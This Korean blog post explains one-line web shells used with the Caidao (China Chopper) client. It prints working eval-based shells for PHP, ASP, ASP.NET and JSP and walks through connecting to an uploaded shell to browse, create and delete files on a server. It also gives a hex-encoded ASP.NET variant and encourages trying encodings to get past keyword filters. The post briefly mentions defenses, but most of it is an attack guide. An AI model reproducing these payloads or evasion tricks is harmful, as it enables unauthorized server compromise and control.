효투의 세상 로딩중...
효투의 세상 로딩중...
반응형

웹쉘을 방지하기 위한 대응방안은 여러가지가 있다.

확장자 제한, 용량 제한, 디렉터리 실행 권한 차단, 절대 경로 은닉, 코드 검증 등

이 모든 대응방안을 우회할 순 없지만

공격자에게는 아주 강력하고 서버에서는 꼭 막아야하는 한줄 웹쉘(One-line WebShell)이 있다

 

https://github.com/raddyfiy/caidao-official-version

 

GitHub - raddyfiy/caidao-official-version: 中国菜刀官方版本,拒绝黑吃黑,来路清晰

中国菜刀官方版本,拒绝黑吃黑,来路清晰. Contribute to raddyfiy/caidao-official-version development by creating an account on GitHub.

github.com

 

Caidao를 이용한 웹쉘은 정말 간단한 한줄로 서버로 침투하게되면

생성,삭제,수정,열람 등 모든 기능들을 GUI 형태로 아주 편하고 간단하게 수행할 수 있다.

카이다오를 켜게되면 위 사진과 같은 그림이 나오는데

Add 버튼을 눌러 웹쉘이 올라간 서버에 연결할 수 있다.

 

웹쉘을 업로드 할 때에는 매우 간단한 한줄로 작성된다.

PHP     :    <?php @eval($_POST['hyotwo']);?>

ASP     :    <%eval request("hyotwo")%>

ASP.NET :    <%@ Page Language="Jscript"%><%eval(Request.Item["hyotwo"],"unsafe");%>

JSP     :    <% Runtime.getRunTime().exec(request.getParameter("hyotwo")); %>

#jsp는 동작 확인이 안됨 ㅠ

 

실제로 올리게되면 이렇게된다.

php 웹서버를 테스트로 만들어서 직접 서버 사이드 스크립트 파일을 생성했다 코드는 아래 사진과같이

단 한줄이다.

실제로 php파일에 접근해보면 아래와같이 아무것도 표시되지않는다.

 

하지만 카이다오로 접근하게되면 다르다.

Address에 웹쉘의 경로를 적고 그 옆 입력창엔

<?php @eval($_POST['hyotwo']);?>

코드의 리퀘스트 명 hyotwo를 입력한다. 

요청 변수는 임의로 변경해도 괜찮다.

카이다오 접근할 때 똑같으면 된다.

 

 

그 후 Add 버튼을 눌러 새로 생긴 URL에 접근하면

아래 사진과같이 GUI로 웹 서버의 시스템에 침투가 가능하다.

 

하지만 이 한줄짜리 웹쉘도 어떤 검증로직에 의하여 막힐 수도 있는데,

그 때는 base64 / 16진수 / 유니코드 등을 활용하여 우회하는 기법도 있다.

asp.net 코드를 16진수로 변환하면 아래와같다.

<%@PAGE LANGUAGE=JSCRIPT%><%var PAY:String=Request["\x68\x79\6f\x74\x77\x6f"];eval(PAY,"\x75\x6E\x73\x61"+"\x66\x65");%>

실제로 그냥

<%@ Page Language="Jscript"%><%eval(Request.Item["hyotwo"],"unsafe");%>

이렇게 삽입하면 어떤 키워드에 의해 막는 경우도 있기에 여러 방법으로 시도해보며

우회 방법을 활용하면 좋다.

 

caidao를 다운받아서 압축을 풀게되면 악성코드로 잡히니 참고하고

안에 readme.txt는 도움말이 있다.

카이다오는 DB커넥션 또한 지원하는데 그 DB커넥션의 이용방법이 적혀있으며,

중국어로 되어있어 번역과정이 필요하다 

 

반응형
  • hyotwo7658@gmail.com

복사 완료 👍